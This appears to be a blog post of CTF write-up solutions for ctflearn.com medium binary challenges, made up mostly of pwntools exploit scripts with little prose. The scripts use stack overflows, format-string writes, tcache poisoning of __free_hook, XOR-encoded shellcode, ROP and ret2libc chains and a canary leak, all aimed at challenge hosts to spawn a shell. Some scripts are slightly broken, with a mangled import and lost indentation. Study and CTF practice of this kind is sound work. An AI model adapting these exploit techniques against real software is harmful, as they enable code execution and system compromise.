- Published on
ctflearn.com - Binary medium challenges
- Authors
- Name
- kerszi
I returned after 4 months with new solutions. As an almost beginner, these challenges were not easy for me; I spent a lot of time learning about the heap, and I’ve only scratched the surface so far. As I mentioned, the tasks are a bit more difficult, and some are real brain teasers, like the banned bytes one—I spent so much time on it, but I finally managed to solve it. I hope this doesn’t spoil the fun for you, and that you only check here if you get stuck somewhere. There are very few solutions available for these challenges, just a handful. That’s why I decided to solve them all. They are available on the site and are simply great (maybe some don’t work perfectly, but that’s a minor detail). ctflearn.com Rivit and thekidofarcrania did an amazing job. Enjoy.
Favorite color

Solution:
ssh [email protected] -p 1001 (pw: guest)``
```bash
(python -c "print('A'*52 + '\x57\x86\x04\x08')"; cat) | ./color
Don't use that python -c "print('A'*52 + '\x57\x86\x04\x08')" | ./color
Shell time

from pwn import *
#-little help from here, I forgot about binary
#-https://7rocky.github.io/en/ctf/ctflearn/binary/shell-time/
context.log_level = 'warning'
context.update(arch='x86_32', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="nc thekidofarcrania.com 4902"
ADDRESS,PORT=HOST.split()[1:]
p = remote(ADDRESS,PORT)
p.recvuntil(b'0x')
stack=int('0x'+p.recv(8).decode(),16)
payload=60*b'\x90'
payload += p32(0x08048420) #elf.plt.system
payload += p32(0)
payload += p32(stack + 0x48)
payload += b'/bin/sh'
p.sendlineafter(b"Input some text:", payload)
p.interactive()
Poor Login

from pwn import *
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="nc thekidofarcrania.com 13226"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./login"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
#libc = ELF('./libc.so.6', checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
p.sendlineafter(b'>', b'1') # Login into user
p.sendlineafter(b'Username:', b'Admin') # Wysłanie nazwy użytkownika, alokacja pamięci
# Zablokowanie zapisu (lock save = curr)
p.sendlineafter(b'>', b'4') # Lock user
# Wylogowanie (zwolnienie pamięci - free)
p.sendlineafter(b'>', b'2') # Sign out
# Wyświetlenie flagi i utworzenie bufora
p.sendlineafter(b'>', b'3') # Print flag
p.sendlineafter(b'to create a new flag instead?', b'\x01' * 40) # Wysłanie 40 bajtów 0x01
# Przywrócenie użytkownika (save = curr)
p.sendlineafter(b'>', b'5') # Restore user
# Ponowne wyświetlenie flagi
p.sendlineafter(b'>', b'3') # Print flag
# Interaktywny tryb, aby zobaczyć wynik
p.interactive()
Lottery

from pwn import *
#-
#readelf -s training
#context.log_level='debug' #
#context.log_level = 'info'
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe'] #do wsl
HOST="nc rivit.dev 10005"
ADDRESS,PORT=HOST.split()[1:]
# HOST="34.252.33.37:30828"
# ADDRESS,PORT=HOST.split(":")
BINARY_NAME="./task_patched"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
#libc = ELF('./libc.so.6', checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
p.sendlineafter(b'Select option:',b'2')
p.sendlineafter(b'Select option:',b'2')
p.sendlineafter(b'Select option:',b'3')
p.sendlineafter(b'How much do you want to bet?',b'2147483648')
p.sendlineafter(b'Select number from 1 to 100:',b'10')
p.recvline()
los=p.recvline()
if b'lost' in los:
p.sendlineafter(b'Select option:',b'5')
p.sendlineafter(b'Select option:',b'4')
flag=p.recvline()
warn(flag)
p.sendlineafter(b'Select option:',b'6')
else:
warn (f"Lucky shot! Try again")
p.close()
No more cookies

from pwn import *
context.log_level = 'warning'
context.update(arch='i386', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="nc rivit.dev 10016"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./task"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
p.recvuntil(b'Address of victory: ')
victory=int(p.recvline().strip(),16)
warn(f"Victory: {victory:#x}")
p.recvuntil(b'Address of buf: ')
buf=int(p.recvline().strip(),16)
warn(f"buf: {buf:#x}")
p.recvuntil(b'Return address: ')
return_=int(p.recvline().strip(),16)
stack=buf+144
warn(f"Return: {return_:#x}")
payload = fmtstr_payload(7, {stack:victory})
p.sendline(payload)
p.interactive()
Disabled service

from pwn import *
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="34.252.33.37:30828"
ADDRESS,PORT=HOST.split(":")
BINARY_NAME="./task"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
p.sendlineafter(b'>',b'%12597c%7$n')
p.interactive()
Theft

from pwn import *
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe'] #
HOST="nc rivit.dev 10019"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./task_patched"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
p.sendlineafter(b'>',b'1')
p.sendafter(b'Data:',16*b'A')
p.sendlineafter(b'>',b'2')
p.sendlineafter(b'Index:',b'0')
address=p.recvuntil (b'(22)').strip()
payload = u64(address[16:-5].ljust(8, b'\x00')) # pad to 8 bytes for u64
warn(f"FLAG address: {payload:#x}")
p.sendlineafter(b'>',b'1')
p.sendafter(b'Data:',16*b'A'+p64(payload))
p.sendlineafter(b'>',b'2')
p.sendlineafter(b'Index:',b'0')
p.interactive()
Hook

from pwn import *
from re import *
context.update(
arch='x86_64',
os='linux',
log_level='warning',
terminal=['wt.exe', 'wsl.exe']
)
HOST = "nc rivit.dev 10024"
ADDRESS, PORT = HOST.split()[1:]
binary = context.binary = ELF("./task_patched", checksec=False)
libc = ELF('./libc.so.6', checksec=False)
p = remote(ADDRESS, PORT) if args.REMOTE else process(binary.path)
# Leak libc address
puts = p.recvline().strip().decode()
puts_address = int(re.search('puts @ (.*)', puts).group(1), 16)
libc.address = puts_address - 0x875a0
warn(f"puts: {hex(puts_address)}")
warn(f"libc base: {hex(libc.address)}")
warn(f"__free_hook: {hex(libc.symbols['__free_hook'])}")
warn(f"system: {hex(libc.sym.system)}")
def do_menu(choice, data=None, size=None, index=None):
p.sendlineafter(b'> ', str(choice).encode())
if choice == 1: # malloc
p.sendlineafter(b'Size: ', str(size).encode())
p.sendlineafter(b'Data: ', data)
elif choice == 2: # free
p.sendlineafter(b'Index: ', str(index).encode())
elif choice == 3: # edit
p.sendlineafter(b'Index: ', str(index).encode())
p.sendlineafter(b'Data: ', data)
# Allocate two chunks
do_menu(1, b'A' * 16, 16) # chunks[0]
do_menu(1, b'B' * 16, 16) # chunks[1]
# Free them in reverse order to set up tcache
do_menu(2, index=1)
do_menu(2, index=0)
# Overwrite fd pointer to point to __free_hook
do_menu(3, p64(libc.symbols['__free_hook']), index=0)
# Allocate two chunks to overwrite __free_hook with system
do_menu(1, b'X' * 16, 16) # chunks[2] - dummy allocation to align tcache
do_menu(1, p64(libc.sym.system), 16) # chunks[3] - overwrites __free_hook
# Allocate chunk with /bin/sh and free it to trigger system("/bin/sh")
do_menu(1, b'/bin/sh', 16) # chunks[4]
do_menu(2, index=4)
p.interactive()
Banned bytes

from pwn import *
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="nc rivit.dev 10012"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./task"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
length=48+8
#no working 48, 49 (x64 bytes, ret)
#in rdx is adress of stack
#you have to xor /bin/bash (/ -prohibited)
#you have to get rdx and you have stack
#0f 05 - xor too
#you have to write begin of stack and finish
shellcode_brainfuck = asm ("""
mov DWORD PTR [rdx+49], 0x040e9090
xor DWORD PTR [rdx+49], 0x01010000
mov al,0x3b
nop
mov DWORD PTR [rdx], 0x6e69622c
xor DWORD PTR [rdx], 0x000000003
mov DWORD PTR [rdx+4], 0x0068732c
xor DWORD PTR [rdx+4], 0x000000003
push rsi
pop rdi
mov edx,0
mov esi,0
""")
p.sendlineafter(b'Banned bytes are:',shellcode_brainfuck)
p.interactive()
Management

from pwn import *
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="nc rivit.dev 10013"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./task"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
p.sendlineafter(b'Your choice:',b'2')
p.sendlineafter(b'Select index:',b'-9')
payload=binary.plt.system
p.sendlineafter(b'Provide new name:',p64(payload))
p.sendlineafter(b'Your choice:',b'2')
p.sendlineafter(b'Select index:',b'0')
p.sendlineafter(b'Provide new name:',b'/bin/bash')
p.sendline(b'cat flag.txt')
p.interactive()
Callsys

from pwn import *
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="nc rivit.dev 10021"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./task"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
length=16
seed=b'580'
p.sendlineafter(b"Specify the seed:", seed)
p.recvuntil(b'Buffer at: ')
seed_buf_adress= int(p.recvline().strip(),16)
warn (f"seed_buf_adress: {seed_buf_adress:#x}")
pop_rdx_ret=seed_buf_adress+0x25d3
push_rsi_pop_rdi_ret=seed_buf_adress+0xca71
pop_rsi_ret=seed_buf_adress+0xcddf
syscall=seed_buf_adress+0x8a22
pop_rax=seed_buf_adress+0x2a99
payload = flat({
0: [ b'/bin/bash\x00',
6*b'\x00',
push_rsi_pop_rdi_ret,
pop_rsi_ret,
0,
pop_rdx_ret,
0,
pop_rax,
0x3b,
syscall
]
})
p.sendline(payload)
p.interactive()
Inspector Gadget

context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="nc rivit.dev 10020"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./task_patched" #bad patched, but remote works
binary = context.binary = ELF(BINARY_NAME, checksec=False)
libc = ELF('./libc6_2.31-0ubuntu9.1_amd64.so', checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
length=40
rop=ROP(binary)
main=binary.sym.main
ret=rop.find_gadget(['ret'])[0]
pop_rdi=rop.find_gadget(['pop rdi','ret'])[0]
write_got=binary.got.write
write_plt=binary.plt.write
read_got=binary.got.read
__libc_csu_init_1=0x040126a #pop rbx,rbp,r12,r13,r14,r15
# 00401266 48 83 c4 08 ADD RSP,0x8
# 0040126a 5b POP RBX
# 0040126b 5d POP RBP
# 0040126c 41 5c POP R12
# 0040126e 41 5d POP R13
# 00401270 41 5e POP R14
# 00401272 41 5f POP R15
# 00401274 c3 RET
__libc_csu_init_2=0x0401250
# 00401250 4c 89 f2 MOV rdx,R14
# 00401253 4c 89 ee MOV rsi,R13
# 00401256 44 89 e7 MOV rdi,R12D
# 00401259 41 ff 14 df CALL qword ptr [R15 + RBX*0x8]=>->frame_dummy
# 0040125d 48 83 c3 01 ADD RBX,0x1
# 00401261 48 39 dd CMP RBP,RBX
# 00401264 75 ea JNZ LAB_00401250
payload = flat({
length: [
__libc_csu_init_1,
0, #rbx->0
1, #rbp->1
1, #r12->rdi
write_got, #r13->rsi
0x8, #r14->rdx
write_got, #r15->function write_got
__libc_csu_init_2,
0, #ADD RSP,0x8
0, #rbx->0
1, #rbp->1
1, #r12->rdi
read_got, #r13->rsi
0x8, #r14->rdx
write_got, #r15->function write_got
__libc_csu_init_2,
0,0,0,0,0,0,0,
main
]
})
p.sendlineafter(b"You have one job!", payload)
p.recvline()
adressess=p.recvline()
write_got_adress=u64(adressess[1:8].ljust(8,b'\x00'))
read_got_adress=u64(adressess[9:17].ljust(8,b'\x00'))
warn (f"write_got: {write_got_adress:#x}")
warn (f"read_got: {read_got_adress:#x}")
libc.address=write_got_adress-0x1111d0
warn (f"libc: {libc.address:#x}")
bin_sh=next(libc.search(b"/bin/sh"))
system=libc.sym.system
payload = length*b'A'
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)
p.sendline(payload)
p.interactive()
Buffer brothers

rom pwn import *
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="rivit.dev:10023"
HOST = HOST.strip()
ADDRESS,PORT=HOST.split(":")
BINARY_NAME="./task"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
p.sendlineafter(b"What is the end of this story?",b'admin1234')
p.recvuntil(b'Logged as admin1234')
canary=p.recv(7)
canary = b'\x00' + canary # Dodajemy brakujący bajt \x00 na początku
canary = u64(canary)
print(f"[+] CANARY: {canary:>#18x}")
p.recvuntil(b'print_flag is here: ')
print_flag = int(p.recvuntil(b'\n').strip(), 16)
print(f"[+] print_flag: {print_flag:>#18x}")
payload = 8 * b'A' + p64(canary) + p64(0) + p64(print_flag)
p.sendline(payload)
p.interactive()
Chain

from pwn import *
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="nc rivit.dev 10008"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./task_patched"
#BINARY_NAME="./task"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
libc = ELF('./libc6_2.31-0ubuntu9.1_amd64.so', checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
length=24
rop=ROP(binary)
ret=rop.find_gadget(['ret'])[0]
pop_rdi=rop.find_gadget(['pop rdi', 'ret'])[0]
got_puts=binary.got.puts
got_read=binary.got.read
main=binary.sym.main
plt_puts=binary.plt.puts
payload=length*b'A'
payload += p64(pop_rdi)
payload += p64(got_puts)
payload += p64(plt_puts)
payload += p64(pop_rdi)
payload += p64(got_read)
payload += p64(plt_puts)
payload += p64(main)
p.sendlineafter(b"What is your favorite color?", payload)
p.recvuntil(b'this color')
p.recvline()
puts=u64(p.recvline().strip().ljust(8, b"\x00"))
read=u64(p.recvline().strip().ljust(8, b"\x00"))
warn (f"puts: {puts:#x}")
warn (f"read: {read:#x}")
libc.address=puts-0x0875a0
warn (f"libc: {libc.address:#x}")
bin_sh=next(libc.search(b"/bin/sh"))
system=libc.sym.system
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)
p.sendlineafter(b"What is your favorite color?", payload)
p.interactive()